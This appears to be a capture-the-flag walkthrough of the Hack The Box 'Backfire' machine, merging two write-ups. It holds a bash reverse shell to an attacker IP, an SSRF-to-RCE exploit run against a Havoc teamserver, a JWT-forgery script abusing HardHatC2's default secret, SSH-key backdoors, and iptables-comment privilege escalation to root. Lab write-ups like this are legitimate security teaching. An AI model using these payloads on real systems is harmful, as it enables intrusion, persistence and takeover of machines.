HTB — Backfire
HardHat C2 framework exposed via reverse proxy misconfiguration. JWT forgery for admin access, Sliver C2 implant exploitation for lateral movement.
nmap
nmap -sC -sV -T4 -A -Pn -p- --open 10.10.11.49
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-18 16:36 EST
Nmap scan report for 10.10.11.49
Host is up (0.025s latency).
Not shown: 64414 closed tcp ports (reset), 1116 filtered tcp ports (no-response), 2 filtered tcp ports (port-unreach)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
| 256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
|_ 256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
443/tcp open ssl/http nginx 1.22.1
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=acme corp/stateOrProvinceName=Colorado/countryName=US
| Subject Alternative Name: IP Address:127.0.0.1
| Not valid before: 2024-06-15T19:17:33
|_Not valid after: 2027-06-15T19:17:33
|_http-title: 404 Not Found
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.22.1
8000/tcp open http nginx 1.22.1
|_http-open-proxy: Proxy might be redirecting requests
| http-ls: Volume /
| SIZE TIME FILENAME
| 1559 17-Dec-2024 11:31 disable_tls.patch
| 875 17-Dec-2024 11:34 havoc.yaotl
|_
|_http-server-header: nginx/1.22.1
|_http-title: Index of /
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/18%OT=22%CT=1%CU=33097%PV=Y%DS=2%DC=T%G=Y%TM=678C
OS:1EFE%P=x86_64-pc-linux-gnu)SEQ(SP=109%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)
OS:SEQ(SP=109%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M53CS
OS:T11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1=
OS:FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=
OS:M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)
OS:T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S
OS:+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=
OS:Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G
OS:%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 28.81 ms 10.10.14.1
2 28.89 ms 10.10.11.49
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.31 seconds
nmap udp
sudo nmap -sU -sV -sC -p U:161,22,110,143,993,995 10.10.11.49
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-18 16:37 EST
Nmap scan report for 10.10.11.49
Host is up (0.019s latency).
PORT STATE SERVICE VERSION
22/udp closed ssh
110/udp closed pop3
143/udp closed imap
161/udp closed snmp
993/udp closed imaps
995/udp closed pop3s
wget http://10.10.11.49:8000/disable_tls.patch
wget http://10.10.11.49:8000/havoc.yaotldisable_tls.patch
cat disable_tls.patch
Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so
this will not compromize our teamserver
diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
{
Teamserver = ConnectionInfo;
Socket = new QWebSocket();
- auto Server = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+ auto Server = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
auto SslConf = Socket->sslConfiguration();
/* ignore annoying SSL errors */
SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
- Socket->setSslConfiguration( SslConf );
Socket->ignoreSslErrors();
QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
}
// start the teamserver
- if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+ if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
logger.Error("Failed to start websocket: " + err.Error())
}
havoc.yaotl
cat havoc.yaotl
Teamserver {
Host = "127.0.0.1"
Port = 40056
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "ilya" {
Password = "CobaltStr1keSuckz!"
}
user "sergej" {
Password = "1w4nt2sw1tch2h4rdh4tc2"
}
}
Demon {
Sleep = 2
Jitter = 15
TrustXForwardedFor = false
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}
Listeners {
Http {
Name = "Demon Listener"
Hosts = [
"backfire.htb"
]
HostBind = "127.0.0.1"
PortBind = 8443
PortConn = 8443
HostRotation = "round-robin"
Secure = true
}
}
exploitation

payload.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1nc -lnvp 4444python3 -m http.server 80python3 ssrf_rce.py --target https://10.10.11.49 -i 127.0.0.1 -p 40056
b'\x00\x00\x01\x02\xde\xad\xbe\xef\x00\rCT\x00\x00\x00c\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\rCT\x00\x00\x00\x0fDESKTOP-7F61JT1\x00\x00\x00\rAdministrator\x00\x00\x00\x05ECORP\x00\x00\x00\t10.1.33.7\x00\x00\x00\x0em\x00s\x00e\x00d\x00g\x00e\x00.\x00e\x00x\x00e\x00\x00\x00\x10s\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab'
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
b'\x00\x00\x00\xcc\xde\xad\xbe\xef\x00\rCT\x00\x00\t\xec\x00\x00\x00\x08\xdc\x95\xc0\xc0\xa2@\x89\x98\xbcY\xb3\x05\x92\x84 \x84S\x0f\x8a\xfa\xc7E6\x19\xee&\xe0\xd1\xeb\xa3\x12\xfd\xa1\xc4o\x1d\x054?>(\x7f\xeb\xe2\xb7\xf9\xd5w\x01\x149\xea\x06\x94\x1dZ\xe1\x8c\xc5\xa0D<\x01\xbe\xed\x7f\x87%G\x1f\x91\x1c3\x89=A},A\x92%2\xa4\x82\xea\xde\x0b=k?r\x8d\xc5iYk\xb9\xab\xe1I\x01\xfd]P\x12\xf4\xc8\x85L\x9b4\xc5\xdf\x82\x1e\xd5\xa2\x9d\xc9N\x8d\xd9hK\x1f;d\x97\x8b\xcf9\x98\x18\xd4\xa3^4\xc6\x84\xa7\x95Y\xcf\x1e\x8cm\xaa\xcf\x1a{\x87\xce^\x8a\xbd]\xf6tME&\x00\x91\xd4\x05\xb3\x91\xc5\x1a\xaa\x8dF_\xf5\xbc\xe8\x9b4s\xa5\xefxe\xa2'
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
b'\x00\x00\x01\x00\xde\xad\xbe\xef\x00\rCT\x00\x00\t\xec\x00\x00\x00\x08\xdc\x95\xc0\x94\xa2@\x89\x98\xbcY\xb3\x05\x92\x84 \x84S\x0f\x8a\xfa\xc7E6m(\x9d\xb4=S\x10\'\x03"^V\xda\xbe\xc2\x1d\xdc\xb0\xee\xb3\x12CN\xa6\xb2\xdf\x9b,`\xf0\x1c\r\x8f1\x16\xd3b\xc0\xe7A$x\xf4\xd3\x95\xb8\xf0\xd7\xc7\xee\x02o\xcf\xe3\xe3ZK\xe3\xa9\xad\x0f"XH\x8f\xc1\x96~_\x05\xb6\x08\xf4w*\xe9\x9a\xd2\x10A\x8c\xcf}\x9a\r\xb0}\x03NOD{]2w\xc5\x94\x12\x02z\x8a\xf5\xb0~G\x1e\r\x03g\xac-\xeb\xde\xeaQ\xc9o\x1b\x9b\xd1\xc0\x0f\xac\x99\x03\x9d\xbf\xc1\x19\xb1*\x86\xe8p\xee\x0e\xba\xe7\xc4\xba\x13\xd3K\xc5X\xc4\x05\x86\x9c\xc0e\xc2xS\xa1b<O\x89\r\x0cR\xf4\xee\xd1Z\x8a\xe8\x9cI\xd8\x85\x15F\xae\x95\x9c\n\xd7\x88f\x83\xa9\xb3bF\x88N\xec\xc1\xe1\x0e\xc9\x0c\xa7\x8d\x81N\xdc\x03\x8b\x93r\x16h\xfe\xe6\xdd\xef\x03\x03.\x10'
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
b'\x00\x00\x02\x1f\xde\xad\xbe\xef\x00\rCT\x00\x00\t\xec\x00\x00\x00\x08\xdc\x95\xc2s\xa2@\x89\x98\xbcY\xb3\x05\x92\x84 \x84S\x0f\x8a\xfa\xc7E7J(\x9d\xb5\x1a\x195n\xech{\x1f5\xf4\xe7T3\xfa\xcb\xfa\xfd\tk\xef]\x95\xbee\x8f\xa2=Vwi.\x9b\xcb\x92\xd8\n\xcb,\x94\x8e\x07\xff\xc7\x88^\xf5x a\xa0\xd2\t\xa0\xb4\x8f\xf8\xb6ru@{\x9c\xa0H\xeb\x05\x86o\x1dl^\xf7f\xdel\x10r\x9fG\x91\xa5\xd4\x00\t\xb33> \xb6iY\xd4$\x19x!#\xfb\xcfu\xa4\x12)\x18\xc5\xd1\x12\xa9a\xaen\x82\xeaW\xa1\x95=E\xce\xdc\xee\xc5\xe7\xcd\xba\x8eW\x9aKb\xc9_;\xff\xf1\xba\xfe\x81\x06\xcb\xb7\x88a\xd7\x7f\xd1@\x9e\x8e\x0e\x9e\x1d\x98Q\xe8W\xf5\x18\xd1\xdcdF\xd9\xe4>D\x8f\x99\xa8Z\xea\x9f=\x0c\x84\x92\xc4\x8e\x9a\xf4\x9e\x0c\xb0\x1f\x1b\xef\x86\x12c\x1e\xc3\x87"\x04\x96\x19#\xe3\x01\x11\xd7\xe5\x88\xd4Y\nTh\xed\xa3$b\xe4\x03(o/$\x1c\x19\xbcT\xb6\xae~\x99Z\xc6k\xe5N\x9fn\xc4s+\xa8QWq\xa4\xf6Vn4\xf6\n\xee)}l\xd6\xc1\x83\xd2\xc3\x16N\x1e\xdb<\xce\xfe&q\xe8\xa5q\xe0!]\xd5\x9dFj\x88Y\xb9\x8fC1\x9e\xb0\xa9d:\xe3"\x7f\x83\x91\x97\x1aQ\x15\x8d\xaf-\xd4\xff\'\xb6\xb8\xfd]\x99\x92G\xe3\xfb\xa2\x12\x93\xd4~\x7f\xafC\xd0\xd3\xee\x06%S\x8e\xf45x!\xe6\x9eq\xdc\xf2x\x91\xad\xce[\xa2\xa9\xc3l\x9f\xc8\xe7*\x8ei]4~\x03\xfa\xbd\x85\xc0{\x0f\xd8#\xaeP\x95<\x18\x85\x94QQ\xecY\x9b\'h\xf4N:\xaa\x8f!\x9a\x9fzdc\x0b\xaa\x1a/\xb6\xb7\x12\x0f\x05\xdc\xa4\xd2&\xd3\xe2"\xbfR\xc4\x97f\x8e\x9dSZ\n\x00@\xb7\xcc\xf7#\x83\xf2\xc9\x10(!\x88\xb6E\xa7Ul\x15\xc8\x16\x1bV\xb5\xe5\xbb\xaa\x8f\xaa;,BOa\x9cn\xff\x1e\'\x1c0Z\xc4\x0b\x9d\xd7\x9f\x82q\xe1\xbe^\xe2I\xea\xf59e\xba\x96\xbf\x92pK\x7f\xef\x93\r\x9ey\x1b\x1b\x92\xb7\xe9\xf9z\x97\x1a\x8b#-\xc2$'
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
b'\x00\x00\x03O\xde\xad\xbe\xef\x00\rCT\x00\x00\t\xec\x00\x00\x00\x08\xdc\x95\xc3C\xa2@\x89\x98\xbcY\xb3\x05\x92\x84 \x84S\x0f\x8a\xfa\xc7E5\x9a(\x9d\xb7\xea\rbj@|,\x1b\x99\xe0\xb0P\x9f\xee\x9c\xfeQ\x1d<\xeb\xf1\x81\xe9a#\xbfhV\xd1l_\x955\xd9\x8d\x16e6\xa7\xcd\x8e\xeb\x8d\xda\x9c\xa8c\x01\x9d\xed\xcd\r\x06\xae\xca\xaa\x1c|0J\xdb\x8a\x96kF\x04\xccD\xf6#M\xb4\xc3\xb4o\x14\xa0\x8b}\xd8X\xe1\x17;\x1f\x02&\x00\x1a}\x04\xd7\xba\r/%\xf1\xbf\xb9k\x08\x07\x0fL*\xfbB\xe3\xb3\xb4P\xcajE\xf7\x80\x81\x07\x83\xab\x19\x92\xfd\x98T\xc6r\x8c\xffz\xd8\x18\xb5\xf9\xae\xf7,\xc1Q\xb1X\xb7;\x9b\x9a\x86A\xa3"\x06\xe1yg\x0b\xa0-\r\x0c\xf8\xce\xbd\r\xc0\xa3\xd1.\xaa\xc8Vf\xdc\xba\x9e\x02\x98\xda-\x97\xaa\xbdrY\xaaW\xf9\xf7\x81U\xe7\x0b\xd7\xb0\xc0w\x83X\xce\xcaV\x04W\xa0\xc7\xdc\x89\x1e\x1d\x7fZ\xa6|#"*gz\x8c4CSvB\xef\x90\xdd\xc1"\x85\xb6\xadX\xce\xff\x86u\x06T\x1a\x02\x13\n\x83OD\xb1\xdb#\x91\xcc%\x0c\xc9{\x90\xac\xe8\xc4<:\x84\x8c\xe3\x8a\x1c\x85\xad\x8c\x050K1\xcc,Do\xd7\xb1\xa1\x9f\x13\xd8\xf4\x90\xf2\xf12\xd5\x1d\x94\xaa\xc2\xd0\xfb\x0bV\xf00a\xd0\xb7\xbb\xe1\x83\xf6\x83\xe1\xb97O\xef\xf5\x16?\xc0)\x07\x11_\xfb\xb2\x15P=\x12\x18\x9c\x07\x16\xe5\x87\xb5Zo\xe2&\x807\xdb@\x88\x14\xc6H\x8c\x0b\xaas\xc4\xdf5%\x11\xbb\x98\xed\xa44;Q\xc7\xb8\xfd\x1d\xf6\xa9M\x89\xa3\xf6I\xa4[e\x00p\xc5\xbfx\xb3\xdc\x9d\xec\x93)\x9a*\x1c\xf8\xdb)\xfb\xc0\x83_}\xc5\x0f\x8cd\xcc5|\xa9,%\x9fy\xee\x7fxQ0\xcb\x0e\xd9\xc8\x0fI\xcc\x851\x0b%le\x8fW\x8c\xfc7\x1d\xb0\xe3\x17\x18\xe5\x0c\x9d\xd5\xf5`S\x156\xe1w\xa9iT2xN\xd9\x0f\xdc]\x7f\xc1\x8c\xd2\x8b\xd1\xba\x18\x04N\xb7\xff\x86q\xfb\x99\x14\x91+Q\x9b\xb8\x91E\x7fY[T?\xe9\xa4\xa1\xd4\x88@\x85\x86;\xd9c\x0c\xbf4\xbc\xa3\xadA\x05\x04\x05j\xd3\x11)Q\x14\xcb\x1d\xd9I\x1a#\x99\xc8\x9ch`)n*ad~D\r\x193qc\xca\x18\xba\xd5Hr\xf4\xbb\xdcSD\xfa\xf7\xa3\xcf\xfa\xaf\xc6qD\x9cw\xa3}\x0f>-\xe0\xacc\xba\x11\xae\x9a\x967_bh\xcet\xd8\x0b\r\xe9\x88\x90\x90^\xaa\xb6?\xcdl\xd6\xf6\x8c\xe5a&w\x8e\xb9\x89\x9dH;\xa3\xa8\xf2\x00\xe9k`-:\xfd\xa9\x8c\x8e@\xed[iO\xba\xd3)7\x81iE-\x0b\x00;\x9a\xfd\xfa\x9f\xbeL\x9b\x10Ptiwn\xd5|r\xa9i\x08U\xda\xbf\xc6\x1f\xf5e\xde\x8f\x0b\xeaV\x83+p\r[\x17\xf4\xd5\xd8\x10\xfe\xf7\xd6\x84\xef\x84\x01O?\xa0\xa6#\xac9\x81\xad>(G/%\xd9\xb2)\x0f\xa9\xbbu(\xb7\x8c\xff\xeeALd\x16\xaf#\xf6Yq\x8b RE\x82\xc1uj\x9ei\xa1C\xc2\x1e6I\xf8?%&\xfa\x16\x1a\xfd\xff_\x9e\x7f\x81$\xda\xf9\xba\x1fw\x0e\xd3\x97\x80\xa1;n\xcd\x1c\x07\x12o$\x7f\x10\x17\xefV\xf7,\xf7;\xd7\x1aG\xaa?\xd0\xc9Q\xd2\x93\x06\xf3p\xd6f\xf8\xda\x97\x93\x08%\xc36%\xab\xf9\x168\x8a'
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!

nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.49] 56002
bash: cannot set terminal process group (2018): Inappropriate ioctl for device
bash: no job control in this shell
ilya@backfire:~/Havoc/payloads/Demon$ whoami
whoami
ilyauser.txt
ilya@backfire:~$ cat user.txt
cat user.txt
1469ee2d...priv esc
ilya@backfire:~$ cat hardhat.txt
cat hardhat.txt
Sergej said he installed HardHatC2 for testing and not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C# ilya@backfire:~/Havoc/payloads/Demon$ netstat -tunlp
netstat -tunlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:7096 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
add public key to ssh
ilya@backfire:~/.ssh$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAo8yqNh3gxqSpyiidDkG8Xwd7XEfA1E3AH3DZ9FfPXC root@kali" > authorized_keys
<Xwd7XEfA1E3AH3DZ9FfPXC root@kali" > authorized_keys
local port forwarding
ssh -i id_rsa -L 7096:localhost:7096 -L 5000:localhost:5000 ilya@10.10.11.49
Enter passphrase for key 'id_rsa':
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Sat Jan 25 02:50:51 2025 from 10.10.14.6
Backfire Hackthebox Writeup

HTB machine link:
https://app.hackthebox.com/machines/Backfire
Before the start of the raytap, I would like to congratulate my colleagues from FR13NDS_TEAM team, in particular hacker fisstech, who took user first blood, beating TOP 1 team hackthebox. Respect)

Recon
We start as usual by checking the connection and scanning for open ports

The 8000 port immediately catches our eye. Let’s try to access it

Here we have two files. disable_tls.patch and havoc.yaotl.

Looks like someone deployed C2 HavocFramework. The screenshot above is an example of why you need to remember to shut down your python http servers after use. We find two files - some patch and the Havoc config - havoc.yaotl, which is required to run the team server.
The patch has instructions on how to disable tls in havoc.

The configuration file contains the following parameters:
- Teamserver - specifies the address and port listened by the server
- Operators - lists registered users
- Demon - shows the settings required for the generated agent.
And useful information that applies to the vulnerable host, including the creds and ports on which the daemon is running, as well as the domain of the machine

Operators {
user "ilya" {
Password = "*********************"
}
user "sergej" {
Password = "*********************"
}
}The domain, by the way, is expected backfire.htb

Don’t forget to add an entry in /etc/hosts

echo "10.10.11.49 backfire.htb" | sudo tee -a /etc/hostsUser flag
After a little osint on the authors of tacha, an interesting fan-fact was discovered - chebuya, is also the author of the SSRF exploit vulnerability in Havoc. Coincidence? I don’t think so.


Let’s try to run SSRF PoC with the creds found in the configs before.

python3 exploit.py -t https://backfire.htb/ -u ilya -i 10.10.xx.xx -p 8443It seems to work, but SSRF alone is not enough, we need to think of something else.

Here we come to another fan-fact - hyperreality, the second author of the ride, is also part-time author of the RCE exploit under Havoc.

We’ll have to use SSRF-to-RCE. In theory, you should write code combining both exploits yourself, but the community has already done everything for us, so just watch your hands:
Preparing the reverse-shell.
#!/bin/bash
bash -i >& /dev/tcp/10.10.xx.xx/4444 0>&1Running the python http server.
python3 -m http.server 8001Running listener.
nc -nlvp 4444And finally, we run the exploit.
https://www.pentestnotes.ru/images/hackthebox/season7/Backfire/SSRF_TO_RCE.py(don’t forget to change the IP in the code to your own)

python3 rce.py --target https://10.10.11.49 -i 127.0.0.1 -p 40056The script exploits a vulnerability in Havoc related to command injection under an authenticated user: Establishes a secure websocket connection, authenticates the user to the server, creates a listener with certain parameters, and runs a command line loop within which we can inject commands.
If we make small changes to the exploit, cmd will run our reverse shell.

As you can see below, the exploit was successful.

Session caught.

Shell will kick out every once in a while, so for convenience I manually added my public ssh key to the authorised_keys file on the machine. This way you can connect without a password.
To do this, first find out your public key.
cat ~/.ssh/authorized_keys(Where ~/.ssh/authorised_keys is the default path to the authorized_keys file. It may be different for you.)
Copy the resulting public key and paste it into authorised_keys on the captured machine with a new line.
echo "YOU PUB KEY" | tee -a ~/.ssh/authorized_keysNow you can connect to the machine via ssh.

Root flag
We start from the file hardhat.txt found by user ilya.

Our little redtimers are not embarrassed by anything, so they leave information that thanks to Sergej they have another C2 somewhere called HardHatC2. By the way, there is RCE for it too.
When looking at the live ports, 5000 and 7096 immediately catch my eye

We’re routing these ports
ssh -L 5000:127.0.0.1:5000 ilya@backfire.htbssh -L 7096:127.0.0.1:7096 ilya@backfire.htbAnd see what’s on the web

Follow Vulnerability 2 and Vulnerability 3 points in the following article: https://blog.sth.sh/hardhatc2-0-days-rce…88a6815c08
# @Author Siam Thanat Hack Co., Ltd. (STH)
import jwt
import datetime
import uuid
import requests
rhost = '127.0.0.1:5000'
# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)
# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "strongpassword",
"role": "TeamLead",
"username": "strongusername"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)This will allow us to create a new HardHatC2 user with an arbitrary password:

Log in

Now we go into the Implant Interact tab.

And find a command line that executes commands as user sergej. You can catch the shell, but I’ll just put my public ssh key back on the server, similar to ilya:


Now we can freely connect under the sergej user to the server.

Let’s look at the functions that we can use with sudo privileges. Among them we find iptables.

To increase privileges we can use the following instruction: https://www.shielder.com/blog/2024/09/a-…scalation/
In principle, what is described below does not require much explanation, we simply add our ssh pub key to the iptables rule comment and send the rule with the ‘malicious’ comment to authorised_keys.

#add rule
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nYOUR SSH PUB KEY\n'
#verify with:
sudo iptables -S
#save into authorized_keys
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys Go in under root and loot the flag.
ssh -i key root@backfire.htb
HardHatC2 0-Days (RCE & AuthN Bypass)
- https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7
# @author Siam Thanat Hack Co., Ltd. (STH)
import jwt
import datetime
import uuid
import requests
rhost = '127.0.0.1:5000'
# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)
# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "sth_pentest",
"role": "TeamLead",
"username": "sth_pentest"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
python3.12 hardhard_bypass.py
/home/sake/htb-labs/Backfire/hardhard_bypass.py:12: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow()
Generated JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiM2MxMzg5NzItYzMxOS00ZmE3LWI0YjEtYTcxZGVmMDViZWM2IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3Mzc4NDg0MjMsImV4cCI6MTc0MDI2NzYyMywiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.WUxSkIB9ttaLCjpKqYInte8rByJsVfZ5xyfmiFtIPCk
/usr/lib/python3/dist-packages/urllib3/connectionpool.py:1062: InsecureRequestWarning: Unverified HTTPS request is being made to host '127.0.0.1'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings
warnings.warn(
User sth_pentest createdlogin with sth_pentest:sth_pentest

HardHatC2 RCE sergej




ssh -i id_rsa sergej@10.10.11.49
Enter passphrase for key 'id_rsa':
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
sergej@backfire:~$ whoami
sergejpriv esc
sudo
sergej@backfire:~$ sudo -l
Matching Defaults entries for sergej on backfire:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User sergej may run the following commands on backfire:
(root) NOPASSWD: /usr/sbin/iptables
(root) NOPASSWD: /usr/sbin/iptables-save ╚══════════════════════╝
╔══════════╣ Useful software
/usr/bin/base64
/usr/bin/curl
/usr/bin/g++
/usr/bin/gcc
/usr/bin/make
/usr/bin/nc
/usr/bin/nc.traditional
/usr/bin/netcat
/usr/bin/perl
/usr/bin/ping
/usr/bin/python
/usr/bin/python3
/usr/bin/sudo
/usr/bin/wget
╔══════════╣ Installed Compilers
ii g++ 4:12.2.0-3 amd64 GNU C++ compiler
ii g++-12 12.2.0-14 amd64 GNU C++ compiler
rc g++-mingw-w64 12.2.0-14+25.2 all GNU C++ compiler for MinGW-w64
rc g++-mingw-w64-i686 12.2.0-14+25.2 all GNU C++ compiler for MinGW-w64 targeting Win32
rc g++-mingw-w64-x86-64 12.2.0-14+25.2 all GNU C++ compiler for MinGW-w64 targeting Win64
ii gcc 4:12.2.0-3 amd64 GNU C compiler
ii gcc-12 12.2.0-14 amd64 GNU C compiler
rc gcc-mingw-w64 12.2.0-14+25.2 all GNU C compiler for MinGW-w64
